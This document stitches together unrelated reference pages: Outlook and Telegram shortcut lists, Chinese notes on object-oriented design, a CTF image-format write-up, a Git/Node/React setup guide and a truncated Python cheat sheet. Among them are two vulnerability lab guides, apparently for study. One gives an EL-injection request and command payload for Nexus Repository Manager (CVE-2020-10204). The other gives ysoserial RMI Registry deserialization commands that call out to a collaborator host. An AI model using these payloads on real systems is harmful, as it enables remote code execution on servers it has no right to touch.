`Ctrl` `Alt` `J` | Mark a message as not junk
`Ctrl` `Shift` `I` | Display blocked external content
`Ctrl` `Shift` `S` | Post to a folder
`Ctrl` `Shift` `N` | Apply Normal style
`Ctrl` `M` | Check for new messages
`Up` | Go to the previous message
`Down` | Go to next message
`Ctrl` `N` | Create a message (in Mail view)
`Ctrl` `Shift` `M` | Create a message (from any Outlook view)
`Ctrl` `O` | Open a received message
`Ctrl` `Shift` `D` | Delete and ignore a conversation
`Ctrl` `Shift` `B` | Open the Address Book
`Insert` | Add a Quick flag to an unopened message
`Ctrl` `Shift` `G` | Display the Flag for follow up dialog box
`Ctrl` `Q` | Mark as read
`Ctrl` `U` | Mark as unread
`Ctrl` `Shift` `W` | Open the MailTip in the selected message
`F4` | Find or replace
`Shift` `F4` | Find next
`Ctrl` `Enter` | Send
`Ctrl` `P` | Print
`Ctrl` `F` | Forward
`Ctrl` `Alt` `F` | Forward as attachment
`Alt` `Enter` | Show the properties for the selected item
`Ctrl` `Alt` `M` | Mark for download
`Ctrl` `Alt` `U` | Check Mark for download status
`Ctrl` `B` | Display Send/Receive progress
{.shortcuts}
### Calendar
Shortcut | Action
---|---
`Ctrl` `N` | Create an appointment
`Ctrl` `Shift` `A` | Create an appointment (any Outlook view)
`Ctrl` `Shift` `Q` | Create a meeting request
`Alt` `1-0` | Show 1-10 days in the calendar
`Ctrl` `G` | Go to a date
`Alt` `=` | Switch to Month view
`Ctrl` `Right` | Go to the next day
`Alt` `Down` | Go to the next week
`Alt` `PgDown` | Go to the next month
`Ctrl` `Left` | Go to the previous day
`Alt` `Up` | Go to the previous week
`Alt` `PgUp` | Go to the previous month
`Alt` `Home` | Go to the start of the week
`Alt` `End` | Go to the end of the week
`Alt` `-` | Switch to Full Week view
`Ctrl` `Alt` `2` | Switch to Work Week view
`Ctrl` `,` | Go to previous appointment
`Ctrl` `.` | Go to next appointment
`Ctrl` `G` | Set up recurrence for an open appointment or meeting
{.shortcuts}
### People
Shortcut | Action
---|---
`Ctrl` `Shift` `D` | Dial a new call
`F3` | Find a contact or other item
`F11` | Enter a name in the Search Address Books box
`Shift` `(letter)` | In Table or List view of contacts, go to first contact with letter
`Ctrl` `A` | Select all contacts
`Ctrl` `F` | Create a message with selected contact as subject
`Ctrl` `N` | Create a contact (when in Contacts)
`Ctrl` `Shift` `C` | Create a contact (any Outlook view)
`Ctrl` `O` | Open a contact form for the selected contact
`Ctrl` `Shift` `L` | Create a contact group
`Ctrl` `P` | Print
`F5` | Update a list of contact group members
`Ctrl` `Y` | Go to a different folder
`Ctrl` `Shift` `B` | Open the Address Book
`Ctrl` `Shift` `F` | Use Advanced Find
`Ctrl` `Shift` `.` | In an open contact, open the next contact listed
`F11` | Find a contact
`Esc` | Close a contact
`Ctrl` `Shift` `X` | Send a fax to the selected contact
`Alt` `D` | Open the Check Address dialog box
`Alt` `Shift` `1-3` | In contact form, display Email 1-3
{.shortcuts}
### Tasks {.row-span-3}
Shortcut | Action
---|---
`Ctrl` `C` | Accept a task request
`Ctrl` `D` | Decline a task request
`Ctrl` `E` | Find a task or other item
`Ctrl` `Y` | Open the Go to Folder dialog box
`Ctrl` `N` | Create a task when in Tasks view
`Ctrl` `Shift` `K` | Create a task (any Outlook view)
`Ctrl` `O` | Open selected item
`Ctrl` `P` | Print selected item
`Ctrl` `A` | Select all items
`Ctrl` `D` | Delete selected item
`Ctrl` `F` | Forward a task as an attachment
`Ctrl` `Shift` `Alt` `U` | Create a task request
`Tab` | Switch between Folder/Tasks/To-Do
`Ctrl` `Z` | Undo last action
`Insert` | Flag an item or mark complete
{.shortcuts}
### Format text {.row-span-4}
Shortcut | Action
---|---
`Alt` `O` | Display the Format menu
`Ctrl` `Shift` `P` | Display the Font dialog box
`Shift` `F3` | Switch case (with text selected)
`Ctrl` `Shift` `K` | Format letters as small capitals
`Ctrl` `B` | Make letters bold
`Ctrl` `Shift` `L` | Add bullets
`Ctrl` `I` | Make letters italic
`Ctrl` `T` | Increase indent
`Ctrl` `Shift` `T` | Decrease indent
`Ctrl` `L` | Left align
`Ctrl` `E` | Center
`Ctrl` `U` | Underline
`Ctrl` `]` | Increase font size
`Ctrl` `[` | Decrease font size
`Ctrl` `X` | Cut
`Ctrl` `C` | Copy
`Ctrl` `V` | Paste
`Ctrl` `Shift` `Z` | Clear formatting
`Ctrl` `Shift` `H` | Delete the next word
`Ctrl` `Shift` `J` | Justify text
`Ctrl` `Shift` `S` | Apply styles
`Ctrl` `T` | Create a hanging indent
`Ctrl` `K` | Insert a hyperlink
`Ctrl` `L` | Left align a paragraph
`Ctrl` `R` | Right align a paragraph
`Ctrl` `Shift` `T` | Reduce a hanging indent
`Ctrl` `Q` | Remove paragraph formatting
{.shortcuts}
### Add web information to items
Shortcut | Action
---|---
`Ctrl` `K` | Insert or edit a hyperlink in the body of an item
{.shortcuts}
### Printing
Shortcut | Action
---|---
`Alt` `F, P` | Open the Print tab in Backstage view
`Alt` `F, P, F` | Print an item fron an open window
`Alt` `S` | Open the Page Setup dialog box from Print view
`Alt` `F, P, I` | Select a printer from Print view
`Alt` `F, P, R` | Open the Print Options dialog box
{.shortcuts}
### Send/Receive
Shortcut | Action
---|---
`F9` | Start a send/receive for all defined groups
`Shift` `F9` | Start a send/receive for the current folder
`Ctrl` `M` | Start a send/receive
`Ctrl` `Alt` `S` | Define Send/Receive groups
{.shortcuts}
### Visual Basic Editor
Shortcut | Action
---|---
`Alt` `F11` | Open Visual Basic Editor
{.shortcuts}
### Macros
Shortcut | Action
---|---
`Alt` `F8` | Play macro
{.shortcuts}
### Forms
Shortcut | Action
---|---
`Ctrl` `N` | Create an InfoPath form
`Ctrl` `Shift` `Alt` `T` | Close an InfoPath form
{.shortcuts}
### Flags
Shortcut | Action
---|---
`Ctrl` `Shift` `G` | Open the Flag for Follow Up dialog box
{.shortcuts}
### Color categories
Shortcut | Action
---|---
`Alt` `D` | Delete the selected category from the list in the Color categories box
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Microsoft Outlook](https://support.office.com/en-us/article/keyboard-shortcuts-for-outlook-3cdeb221-7ae5-4c1d-8c1d-9e63216c1efd) _(support.office.com)_
|
sec-knowleage
|
# 面向对象思想
<!-- GFM-TOC -->
* [面向对象思想](#面向对象思想)
* [一、三大特性](#一三大特性)
* [封装](#封装)
* [继承](#继承)
* [多态](#多态)
* [二、类图](#二类图)
* [泛化关系 (Generalization)](#泛化关系-generalization)
* [实现关系 (Realization)](#实现关系-realization)
* [聚合关系 (Aggregation)](#聚合关系-aggregation)
* [组合关系 (Composition)](#组合关系-composition)
* [关联关系 (Association)](#关联关系-association)
* [依赖关系 (Dependency)](#依赖关系-dependency)
* [三、设计原则](#三设计原则)
* [S.O.L.I.D](#solid)
* [其他常见原则](#其他常见原则)
* [参考资料](#参考资料)
<!-- GFM-TOC -->
## 一、三大特性
### 封装
利用抽象数据类型将数据和基于数据的操作封装在一起,使其构成一个不可分割的独立实体。数据被保护在抽象数据类型的内部,尽可能地隐藏内部的细节,只保留一些对外的接口使其与外部发生联系。用户无需关心对象内部的细节,但可以通过对象对外提供的接口来访问该对象。
优点:
- 减少耦合:可以独立地开发、测试、优化、使用、理解和修改
- 减轻维护的负担:可以更容易被理解,并且在调试的时候可以不影响其他模块
- 有效地调节性能:可以通过剖析来确定哪些模块影响了系统的性能
- 提高软件的可重用性
- 降低了构建大型系统的风险:即使整个系统不可用,但是这些独立的模块却有可能是可用的
以下 Person 类封装 name、gender、age 等属性,外界只能通过 get() 方法获取一个 Person 对象的 name 属性和 gender 属性,而无法获取 age 属性,但是 age 属性可以供 work() 方法使用。
注意到 gender 属性使用 int 数据类型进行存储,封装使得用户注意不到这种实现细节。并且在需要修改 gender 属性使用的数据类型时,也可以在不影响客户端代码的情况下进行。
```java
public class Person {
private String name;
private int gender;
private int age;
public String getName() {
return name;
}
public String getGender() {
return gender == 0 ? "man" : "woman";
}
public void work() {
if (18 <= age && age <= 50) {
System.out.println(name + " is working very hard!");
} else {
System.out.println(name + " can't work any more!");
}
}
}
```
### 继承
继承实现了 **IS-A** 关系,例如 Cat 和 Animal 就是一种 IS-A 关系,因此 Cat 可以继承自 Animal,从而获得 Animal 非 private 的属性和方法。
继承应该遵循里氏替换原则,子类对象必须能够替换掉所有父类对象。
Cat 可以当做 Animal 来使用,也就是说可以使用 Animal 引用 Cat 对象。父类引用指向子类对象称为 **向上转型** 。
```java
Animal animal = new Cat();
```
### 多态
多态分为编译时多态和运行时多态:
- 编译时多态主要指方法的重载
- 运行时多态指程序中定义的对象引用所指向的具体类型在运行期间才确定
运行时多态有三个条件:
- 继承
- 覆盖(重写)
- 向上转型
下面的代码中,乐器类(Instrument)有两个子类:Wind 和 Percussion,它们都覆盖了父类的 play() 方法,并且在 main() 方法中使用父类 Instrument 来引用 Wind 和 Percussion 对象。在 Instrument 引用调用 play() 方法时,会执行实际引用对象所在类的 play() 方法,而不是 Instrument 类的方法。
```java
public class Instrument {
public void play() {
System.out.println("Instument is playing...");
}
}
```
```java
public class Wind extends Instrument {
public void play() {
System.out.println("Wind is playing...");
}
}
```
```java
public class Percussion extends Instrument {
public void play() {
System.out.println("Percussion is playing...");
}
}
```
```java
public class Music {
public static void main(String[] args) {
List<Instrument> instruments = new ArrayList<>();
instruments.add(new Wind());
instruments.add(new Percussion());
for(Instrument instrument : instruments) {
instrument.play();
}
}
}
```
```
Wind is playing...
Percussion is playing...
```
## 二、类图
以下类图使用 [PlantUML](https://www.planttext.com/) 绘制,更多语法及使用请参考:http://plantuml.com/ 。
### 泛化关系 (Generalization)
用来描述继承关系,在 Java 中使用 extends 关键字。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c0874e0a-dba3-467e-9c86-dd9313e0843e.jpg" width="180px"> </div><br>
```text
@startuml
title Generalization
class Vihical
class Car
class Trunck
Vihical <|-- Car
Vihical <|-- Trunck
@enduml
```
### 实现关系 (Realization)
用来实现一个接口,在 Java 中使用 implements 关键字。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/83d466bd-946b-4430-854a-cf7b0696d4c8.jpg" width="170px"> </div><br>
```text
@startuml
title Realization
interface MoveBehavior
class Fly
class Run
MoveBehavior <|.. Fly
MoveBehavior <|.. Run
@enduml
```
### 聚合关系 (Aggregation)
表示整体由部分组成,但是整体和部分不是强依赖的,整体不存在了部分还是会存在。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a0ce43b7-afa8-4397-a96e-5c12a070f2ae.jpg" width="300px"> </div><br>
```text
@startuml
title Aggregation
class Computer
class Keyboard
class Mouse
class Screen
Computer o-- Keyboard
Computer o-- Mouse
Computer o-- Screen
@enduml
```
### 组合关系 (Composition)
和聚合不同,组合中整体和部分是强依赖的,整体不存在了部分也不存在了。比如公司和部门,公司没了部门就不存在了。但是公司和员工就属于聚合关系了,因为公司没了员工还在。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/6a88a398-c494-41f5-bb62-9f7fb811df7c.jpg" width="280px"> </div><br>
```text
@startuml
title Composition
class Company
class DepartmentA
class DepartmentB
Company *-- DepartmentA
Company *-- DepartmentB
@enduml
```
### 关联关系 (Association)
表示不同类对象之间有关联,这是一种静态关系,与运行过程的状态无关,在最开始就可以确定。因此也可以用 1 对 1、多对 1、多对多这种关联关系来表示。比如学生和学校就是一种关联关系,一个学校可以有很多学生,但是一个学生只属于一个学校,因此这是一种多对一的关系,在运行开始之前就可以确定。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/a3e4dc62-0da5-4d22-94f2-140078281812.jpg" width="200px"> </div><br>
```text
@startuml
title Association
class School
class Student
School "1" - "n" Student
@enduml
```
### 依赖关系 (Dependency)
和关联关系不同的是,依赖关系是在运行过程中起作用的。A 类和 B 类是依赖关系主要有三种形式:
- A 类是 B 类方法的局部变量;
- A 类是 B 类方法的参数;
- A 类向 B 类发送消息,从而影响 B 类发生变化。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/379444c9-f1d1-45cd-b7aa-b0c18427d388.jpg" width="330px"> </div><br>
```text
@startuml
title Dependency
class Vihicle {
move(MoveBehavior)
}
interface MoveBehavior {
move()
}
note "MoveBehavior.move()" as N
Vihicle ..> MoveBehavior
Vihicle .. N
@enduml
```
## 三、设计原则
### S.O.L.I.D
| 简写 | 全拼 | 中文翻译 |
| :---: | :---: | :---: |
| SRP | The Single Responsibility Principle | 单一责任原则 |
| OCP | The Open Closed Principle | 开放封闭原则 |
| LSP | The Liskov Substitution Principle | 里氏替换原则 |
| ISP | The Interface Segregation Principle | 接口分离原则 |
| DIP | The Dependency Inversion Principle | 依赖倒置原则 |
#### 1. 单一责任原则
> 修改一个类的原因应该只有一个。
换句话说就是让一个类只负责一件事,当这个类需要做过多事情的时候,就需要分解这个类。
如果一个类承担的职责过多,就等于把这些职责耦合在了一起,一个职责的变化可能会削弱这个类完成其它职责的能力。
#### 2. 开放封闭原则
> 类应该对扩展开放,对修改关闭。
扩展就是添加新功能的意思,因此该原则要求在添加新功能时不需要修改代码。
符合开闭原则最典型的设计模式是装饰者模式,它可以动态地将责任附加到对象上,而不用去修改类的代码。
#### 3. 里氏替换原则
> 子类对象必须能够替换掉所有父类对象。
继承是一种 IS-A 关系,子类需要能够当成父类来使用,并且需要比父类更特殊。
如果不满足这个原则,那么各个子类的行为上就会有很大差异,增加继承体系的复杂度。
#### 4. 接口分离原则
> 不应该强迫客户依赖于它们不用的方法。
因此使用多个专门的接口比使用单一的总接口要好。
#### 5. 依赖倒置原则
> 高层模块不应该依赖于低层模块,二者都应该依赖于抽象;</br>抽象不应该依赖于细节,细节应该依赖于抽象。
高层模块包含一个应用程序中重要的策略选择和业务模块,如果高层模块依赖于低层模块,那么低层模块的改动就会直接影响到高层模块,从而迫使高层模块也需要改动。
依赖于抽象意味着:
- 任何变量都不应该持有一个指向具体类的指针或者引用;
- 任何类都不应该从具体类派生;
- 任何方法都不应该覆写它的任何基类中的已经实现的方法。
### 其他常见原则
除了上述的经典原则,在实际开发中还有下面这些常见的设计原则。
| 简写 | 全拼 | 中文翻译 |
| :---: | :---: | :---: |
|LOD| The Law of Demeter | 迪米特法则 |
|CRP| The Composite Reuse Principle | 合成复用原则 |
|CCP| The Common Closure Principle | 共同封闭原则 |
|SAP| The Stable Abstractions Principle | 稳定抽象原则 |
|SDP| The Stable Dependencies Principle | 稳定依赖原则 |
#### 1. 迪米特法则
迪米特法则又叫作最少知识原则(Least Knowledge Principle,简写 LKP),就是说一个对象应当对其他对象有尽可能少的了解,不和陌生人说话。
#### 2. 合成复用原则
尽量使用对象组合,而不是通过继承来达到复用的目的。
#### 3. 共同封闭原则
一起修改的类,应该组合在一起(同一个包里)。如果必须修改应用程序里的代码,我们希望所有的修改都发生在一个包里(修改关闭),而不是遍布在很多包里。
#### 4. 稳定抽象原则
最稳定的包应该是最抽象的包,不稳定的包应该是具体的包,即包的抽象程度跟它的稳定性成正比。
#### 5. 稳定依赖原则
包之间的依赖关系都应该是稳定方向依赖的,包要依赖的包要比自己更具有稳定性。
## 参考资料
- Java 编程思想
- 敏捷软件开发:原则、模式与实践
- [面向对象设计的 SOLID 原则](http://www.cnblogs.com/shanyou/archive/2009/09/21/1570716.html)
- [看懂 UML 类图和时序图](http://design-patterns.readthedocs.io/zh_CN/latest/read_uml.html#generalization)
- [UML 系列——时序图(顺序图)sequence diagram](http://www.cnblogs.com/wolf-sun/p/UML-Sequence-diagram.html)
- [面向对象编程三大特性 ------ 封装、继承、多态](http://blog.csdn.net/jianyuerensheng/article/details/51602015)
|
sec-knowleage
|
# Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10204)
Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞,这个漏洞是CVE-2018-16621的绕过。
参考链接:
- https://support.sonatype.com/hc/en-us/articles/360044356194-CVE-2020-10204-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
- https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10204/README.md
## 漏洞环境
执行如下命令启动Nexus Repository Manager 3.21.1:
```
docker compose up -d
```
等待一段时间环境才能成功启动,访问`http://your-ip:8081`即可看到Web页面。
该漏洞需要访问更新角色或创建角色接口,所以我们需要使用账号密码`admin:admin`登录后台。
## 漏洞复现
登录后台后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:
```
POST /service/extdirect HTTP/1.1
Host: 192.168.1.3:8081
Content-Length: 223
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.34435456726224034
Content-Type: application/json
Accept: */*
Origin: http://192.168.1.3:8081
Referer: http://192.168.1.3:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.34435456726224034; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
Connection: close
{"action":"coreui_User","method":"update","data":[{"userId":"admin","version":"2","firstName":"admin","lastName":"User","email":"admin@example.org","status":"active","roles":["nxadmin$\\B{233*233}"]}],"type":"rpc","tid":11}
```

参考<https://github.com/jas502n/CVE-2020-10199>,使用表达式`$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/success')}`即可成功执行任意命令:

|
sec-knowleage
|
---
title: Telegram Desktop
date: 2022-11-23 16:23:31.700963
background: bg-[#50a1dc]
label:
tags:
-
-
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 37 keyboard shortcuts found on the Telegram Desktop app
---
Keyboard Shortcuts
------------------
### Chats
Shortcut | Action
---|---
`Up/Down` | In-Chat Navigation
`Up/Down/Left/Right` | Suggested Stickers Navigation
`Left/Right` | Suggested Emojis Navigation
`Ctrl` `Tab` | Move to the Chat Below
`Ctrl` `Shift` `Tab` | Move to the Chat Above
`Esc` | Exit
`Esc` | Go Back
`Esc` | Cancel Current Action
`Ctrl` `O` | Send File
{.shortcuts}
### Messages
Shortcut | Action
---|---
`Ctrl` `Up/Down` | Reply to a Message
`Ctrl` `Down` | Cancel Reply
`Up` | Edit Last Message Sent
`Del` | Delete Currently Selected Message
`Ctrl` `E` | Edit Media
`Ctrl` `(click gif)` | Send GIF Directly
`Ctrl` `(click name)` | Open Bot Profile via Inline Message
{.shortcuts}
### Search
Shortcut | Action
---|---
`Ctrl` `F` | Search Selected Chat
`Esc` | Exit Search
{.shortcuts}
### QuickShare Panel
Shortcut | Action
---|---
`Up/Down` | Navigate
`Enter` | Select Chat
`Backspace` | Remove Chat
`Ctrl` `Enter` | Send Message
{.shortcuts}
### Jump to
Shortcut | Action
---|---
`Alt` `Enter` | Jump to the bottom of the chat
`Alt` `Enter` | Scroll the chat list to the top
`Ctrl` `0` | Jump to your saved messages
`Ctrl` `1-5` | Jump between folders
`Ctrl` `Shift` `Down` | Jump to the next folder
`Ctrl` `Shift` `Up` | Jump to the previous folder
{.shortcuts}
### Window Related
Shortcut | Action
---|---
`Ctrl` `W` | Minimize to System Tray
`Ctrl` `Q` | Quit Telegram
`Ctrl` `L` | Lock Telegram
`Ctrl` `M` | Minimize Telegram
{.shortcuts}
### Selected Text
Shortcut | Action
---|---
`Ctrl` `B` | Bold
`Ctrl` `I` | Italic
`Ctrl` `K` | Create Link
`Ctrl` `U` | Underline
`Ctrl` `Shift` `M` | Monospace
`Ctrl` `Shift` `N` | Null / Plain Text
`Ctrl` `Shift` `X` | Strikethrough
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Telegram Desktop](https://github.com/telegramdesktop/tdesktop/wiki/Keyboard-Shortcuts) _(github.com)_
|
sec-knowleage
|
# Proprietary format, re, 326p
> The villains are communicating with their own proprietary file format. Figure out what it is.
> proprietary.ctfcompetition.com 1337
We were given an encoded binary file of unknown format, and service to connect to. Sending some data there,
we were getting some errors like `P6 expected` or `width` expected. It looks like it expected image in
simple P6 format. Indeed, when we sent that, we got some data that has similar structure as the `flag.ctf` file.
After a header, there were raw pixel data (in reversed, BGR order) preceeded often by some small (<0x10) bytes.
Sending `/dev/urandom` as pixels, we received file that was about 1/3 larger than what we sent. On the other hand,
sending `"A" * 256` we got very short file - so there must be some kind of compression.
After some experimentation, we found what the format was - it was preorder representation of quad tree.
The recursive description of a node is:
- if the next byte was `0xf`, what follows is recursive representations of four children nodes
- if the next byte `b` was < 0xf, what follows is three bytes of pixel color, followed by some children nodes.
For each of the four bits of `b`, if it is 0, make the node fully colored in that saved color and don't parse it,
otherwise, we have to parse recursive representation of children node.
We wrote a parser and tested it on a few simple inputs, then ran it on `flag.ctf` to get `lol.png` and the flag.
|
sec-knowleage
|
### Git安装及设置
第一步 安装git
在 linux 下直接使用命令:sudo apt-get install git
windows 下百度 gitbash ,下载安装即可
在mac 下:brew install git
第二步 基本操作
查看已有的配置信息:git config --list
创建 demo 文件夹:mkdir demo
初始化:git init
将 github 上的仓库克隆到本地:git clone [仓库地址]
查看做了哪些修改:git diff(按 q 退出)
创建a.html:touch a.html
进入编辑.gitignore:vim .gitignore
添加:/[文件夹名]
将文件添加到缓存获得 Git 的跟踪:git add(. -A *)
查看当前版本库各个文件的状态:git status
将缓存区内容添加到仓库中:git commit
'版本留言,尽量写的语义话':git commit -m
查看提交记录:git log
取消已经缓存的内容:git reset
也可以通过版本号回滚:git reset --hard [版本号]
把一个文件删除,并把它从git的仓库中移除:git rm [文件名]
取消对某个文件的修改:git checkout [文件名]
忽略上传的文件:vi.gitignore
创建新分支:git branch [yourbranch]
切换分支:git checkout [yourbranch]
或者直接创建一个分支,并且切换过去:
git checkout -b [yourbranch]
删除分支:git branch -d [yourbranch]
推送分支:git push origin [yourbranch]
第三步 推送代码
首次推送:git push -u origin master
之后可以省略参数:git push
如果没有通过 clone 现有仓库,而是直接在本地 git init 的仓库的话,需要先添加远程仓库地址。
为这个仓库添加一个远程地址:git remote add origin [你的github上的仓库地址]
设置 public key
首先需要在本地机器上生成 key:ssh-keygen
这时,会在 ~/.ssh/ 文件夹之下生成一对 ssh key ,包括一个 public key 和一个 private key 。(如果是windows用户,这个文件一般会在这里:C:\Users\Administrator.ssh)
复制 public key:cat ~/.ssh/id_rsa.pub
将拷贝的 public key 添加在github账户上:
右上角点击头像-> 点击settings-> 点击SSH KEYS-> 点击ADD SSH KEYS-> 将获取的public key粘贴于此
### Node安装及设置
第一步 安装nvm
linux:curl -o- https://raw.githubusercontent.com/creationix/nvm/v0.29.0/install.sh | bash
windows:node官网下载相应版本安装
安装node
查看有哪些版本可以安装:nvm ls-remote
安装版本 v5.10.1:nvm install v5.10.1
第二步 设置nodo
查看版本:node -v
使用淘宝定制的 cnpm:npm install -g cnpm --registry=https://registry.npm.taobao.org
检查淘宝定制:cnpm install gulp
npm 命令:
查看全局插件命令:npm list -g --depth
删除全局环境下yarn包:npm uninstall yarn -g
### 配置React环境
第一步 安装React
安装 create-react-app:npm install -g create-react-app
安装淘宝的npm源:npm config set registry https://registry.npm.taobao.org
第二步 配置
构建一个 react 的前端工程:create-react-app [工程名]
启动工程:npm start
### 运行React
在项目文件夹下src文件夹中的index.js中写代码
### 用Yarn装包
1.安装yarn:npm install yarn -g
2.测试能否运行:yarn --version
3.初始化: yarn init
4.用yarn安装react:yarn add react
5.用yarn安装webpack在工具中:yarn add -D webpack
6.删除一个依赖包:yarn remove [package]
7.安装所有的依赖包:yarn或yarn install
8.运行package.json中的脚本:yarn run build
9.卸载包:yarn remove jquery
关于yarn与npm更多:[脚本之家文章](http://www.jb51.net/article/95199.htm)
配置package.json文件
scriptes脚本中写入run命令
```
"scripts": {
"build": "rimraf dist && ./node_modules/.bin/webpack --config webpack.prod.config.js",
"dev": "./node_modules/.bin/webpack-dev-server --config webpack.dev.config.js"
},
```
在命令行输入**npm run dev**会执行"./node_modules/.bin/webpack-dev-server --config webpack.dev.config.js"
创建隐藏配置文件
```
vi .npmrc
```
找到**.npmrc.swp**
输入**i**进入插入模式,将下面文字放入
```
loglevel=http
```
点击**Esc**点击**shift+ZZ**保存退出
###安装React出错(环境配置出错),在命令行执行下面命令
```
npm config set cache C:\[用户名]\nodejs\npm-cache --global
```
|
sec-knowleage
|
# Java RMI Registry 反序列化漏洞(<jdk8u232_b09)
Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1).
自jdk8u121起,Registry对反序列化的类做了白名单限制
```java
if (String.class == clazz
|| java.lang.Number.class.isAssignableFrom(clazz)
|| Remote.class.isAssignableFrom(clazz)
|| java.lang.reflect.Proxy.class.isAssignableFrom(clazz)
|| UnicastRef.class.isAssignableFrom(clazz)
|| RMIClientSocketFactory.class.isAssignableFrom(clazz)
|| RMIServerSocketFactory.class.isAssignableFrom(clazz)
|| java.rmi.activation.ActivationID.class.isAssignableFrom(clazz)
|| java.rmi.server.UID.class.isAssignableFrom(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
} else {
return ObjectInputFilter.Status.REJECTED;
}
```
我们需要在上面的几个白名单里面找到相应的可利用的类
具体原理见[浅谈RMI Registry反序列化问题](http://blog.0kami.cn/2020/02/06/rmi-registry-security-problem/)
## 漏洞环境
执行如下命令编译及启动RMI Registry和服务器:
```
docker compose build
docker compose run -e RMIIP=your-ip -p 1099:1099 rmi
```
其中,`your-ip`是服务器IP,客户端会根据这个IP来连接服务器。
环境启动后,RMI Registry监听在1099端口。
## 漏洞复现
通过[ysoserial](https://github.com/wh1t3p1g/ysoserial)的exploit包中的RMIRegistryExploit2或者3进行攻击
```bash
// 开启JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections6 "curl http://xxxxx.burpcollaborator.net"
// 发起攻击
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit2 192.168.31.88 1099 jrmphost 8888
```

Registry会返回报错,这个没关系正常,命令会正常执行。
|
sec-knowleage
|
---
title: Python
date: 2020-12-23 18:41:20
background: bg-[#436b97]
tags:
- script
- interpret
categories:
- Programming
intro: |
The [Python](https://www.python.org/) cheat sheet is a one-page reference sheet for the Python 3 programming language.
plugins:
- copyCode
---
Getting Started
---------------
### Introduction
- [Python](https://www.python.org/) _(python.org)_
- [Learn X in Y minutes](https://learnxinyminutes.com/docs/python/) _(learnxinyminutes.com)_
- [Regex in python](/regex#regex-in-python) _(quickref.me)_
### Hello World
```python
>>> print("Hello, World!")
Hello, World!
```
The famous "Hello World" program in Python
### Variables
```python
age = 18 # age is of type int
name = "John" # name is now of type str
print(name)
```
Python can't declare a variable without assignment.
### Data Types {.row-span-2}
| | |
|------------------------------------|----------|
| `str` | Text |
| `int`, `float`, `complex` | Numeric |
| `list`, `tuple`, `range` | Sequence |
| `dict` | Mapping |
| `set`, `frozenset` | Set |
| `bool` | Boolean |
| `bytes`, `bytearray`, `memoryview` | Binary |
See: [Data Types](#python-data-types)
### Slicing String
```python
>>> msg = "Hello, World!"
>>> print(msg[2:5])
llo
```
See: [Strings](#python-strings)
### Lists
```python
mylist = []
mylist.append(1)
mylist.append(2)
for item in mylist:
print(item) # prints out 1,2
```
See: [Lists](#python-lists)
### If Else
```python
num = 200
if num > 0:
print("num is greater than 0")
else:
print("num is not greater than 0")
```
See: [Flow control](#python-flow-control)
### Loops
```python
for item in range(6):
if item == 3: break
print(item)
else:
print("Finally finished!")
```
See: [Loops](#python-loops)
### Functions
```python
>>> def my_function():
... print("Hello from a function")
...
>>> my_function()
Hello from a function
```
See: [Functions](#python-functions)
### File Handling {.col-span-2}
```python
with open("myfile.txt", "r", encoding='utf8') as file:
for line in file:
print(line)
```
See: [File Handling](#python-file-handling)
### Arithmetic
```python
result = 10 + 30 # => 40
result = 40 - 10 # => 30
result = 50 * 5 # => 250
result = 16 / 4 # => 4.0 (Float Division)
result = 16 // 4 # => 4 (Integer Division)
result = 25 % 2 # => 1
result = 5 ** 3 # => 125
```
The `/` means quotient of x and y, and the `//` means floored quotient of x and y, also see [StackOverflow](https://stackoverflow.com/a/183870/13192320)
### Plus-Equals
```python
counter = 0
counter += 10 # => 10
counter = 0
counter = counter + 10 # => 10
message = "Part 1."
# => Part 1.Part 2.
message += "Part 2."
```
### f-Strings (Python 3.6+)
```python
>>> website = 'Quickref.ME'
>>> f"Hello, {website}"
"Hello, Quickref.ME"
>>> num = 10
>>> f'{num} + 10 = {num + 10}'
'10 + 10 = 20'
```
See: [Python F-Strings](#python-f-strings-since-python-3-6)
Python Built-in Data Types
---------------
### Strings
```python
hello = "Hello World"
hello = 'Hello World'
multi_string = """Multiline Strings
Lorem ipsum dolor sit amet,
consectetur adipiscing elit """
```
See: [Strings](#python-strings)
### Numbers
```python
x = 1 # int
y = 2.8 # float
z = 1j # complex
>>> print(type(x))
<class 'int'>
```
### Booleans
```python
my_bool = True
my_bool = False
bool(0) # => False
bool(1) # => True
```
### Lists
```python
list1 = ["apple", "banana", "cherry"]
list2 = [True, False, False]
list3 = [1, 5, 7, 9, 3]
list4 = list((1, 5, 7, 9, 3))
```
See: [Lists](#python-lists)
### Tuple
```python
my_tuple = (1, 2, 3)
my_tuple = tuple((1, 2, 3))
